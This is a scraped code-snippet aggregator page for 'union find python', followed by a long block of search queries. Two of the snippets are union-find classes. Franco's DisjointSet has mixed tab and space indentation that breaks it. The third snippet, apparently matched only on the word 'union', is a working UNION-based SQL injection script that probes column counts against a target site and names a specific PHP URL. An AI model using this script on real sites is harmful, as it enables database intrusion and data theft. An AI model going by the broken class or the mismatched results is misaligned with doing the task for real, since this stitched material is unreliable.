union find python

Solutions on MaxInterview for union find python by the best coders in the world

showing results for - "union find python"
Natalia
26 Feb 2017
1class UnionFind:
2    def __init__(self) -> None:
3        super().__init__()
4        self.representor = {}
5
6    def make_set(self, key):
7        self.representor[key] = key
8
9    def find(self, key):
10        return self.representor[key]
11
12    def union(self, x, y):
13        x_r, y_r = self.find(x), self.find(y)
14        for k, r in self.representor.items():
15            if r == y_r:
16                self.representor[k] = x_r
Franco
25 Mar 2020
1class DisjointSet:
2    def __init__(self, n):
3        self.data = list(range(n))
4        self.size = n
5
6    def find(self, index):
7        return self.data[index]
8
9
10	def union(self, x, y):
11    	x, y = self.find(x), self.find(y)
12
13	    if x == y:
14    	    return
15
16	    for i in range(self.size):
17    	    if self.find(i) == y:
18        	    self.data[i] = x
19
20
21    @property
22    def length(self):
23        return len(set(self.data))
24
25
26
27
28disjoint = DisjointSet(10)
29
30disjoint.union(0, 1)
31disjoint.union(1, 2)
32disjoint.union(2, 3)
33disjoint.union(4, 5)
34disjoint.union(5, 6)
35disjoint.union(6, 7)
36disjoint.union(8, 9)
37
38print(disjoint.data)
39print(disjoint.length)
40
41
42# [0, 0, 0, 0, 4, 4, 4, 4, 8, 8]
43# 3
Jennifer
07 Jan 2020
1# pip install requests
2import requests
3
4def main():
5    # http://www.meggieschneider.com/php/detail.php?id=48
6    url = input('Target: ')
7    idx = 0
8    while True:
9        nulls = ', '.join([f'Null as Col{x}' for x in range(idx)])
10        if idx > 0:
11            nulls = ', ' + nulls
12        req = f'id=48 AND 1=2 UNION SELECT table_schema, table_name {nulls} FROM information_schema.tables'
13        print(f'''\n
14            {req}
15            ''')
16        r = requests.get(f'{url}?{req}')
17        if 'The used SELECT statements have a different number of columns' not in str(r.content):
18            print(f'''\n
19            {r.text}
20            ''')
21            break
22        idx = idx + 1
23
24if __name__ == '__main__':
25    main()
queries leading to this page
how to find union of 3 sets in pythonwhat does union do in python union in pythonsql python unionunion of set pythonunioniin find pythonunion find in making sets pythonpython unnionunion in pythonset union pythonunion find example pythonpython built in union findpython set union methodpython unionpython find union of 2 setsset union in pythonunion 28 29 in pythonpython union of 2 arrayspython 3a union of two setsunion all in python query examplewhat is union in pythonunion find pythopnfunction of set union 28list 29 in pythonunion all in python queryunion set pythonhow to unition a def function in pythonpython union 28 29python union find librarypython union find structureunion in set pythonunion in pythonunion python3how to do union in set pythonhow do you union sets in pythonunion find set pythonunion symbol in python languageunion querysets pythonunion method return in python union pythonunion and find pythoniusing union in pythonpython union of two setsunion sets pythonpython return unionpython union queryunion set in pythonpython sets unionpython unioinunion function pythonpython union operatorhow to find the union of set in python and print itunion two sets in pythonpython what is unionunion of two sets pythonunion syntax pythonhow to use set to find union in pythonunion find implementation pythonhow to use set to find union values in pythonunion pythonpython union sql syntax create a union pythonunion sets in pythonset union pythonwhat does union do pythonpython set unionunion in python using 7cunion of sets pythonunion and other function in pythonhow to find union of two sets in pythonpython3 union return valueunion find code pythonpython set union mostunion function in pythonpython3 unionunion two sets pythonunion of 3 sets in pythonunion method pythonunion find pythonpython union find packagepython set union setunnion in sets pythonpython math unionhow to find union in pythonunion method in pythonunion find method in pythonunion of sets in pythonunionfind pythonunion find set pythonpython union findfind union of two sets in pythonhow to use union pythonpython union functionunion 28 29 pythonunion find implementation in pythonunion symbol in pythonunion operator in pythonpython union setpython unionunion between two sets pythonunion operator pythonunion find in pythonunion functions in python union find pythonqueryset union pythonpython union unionunion find python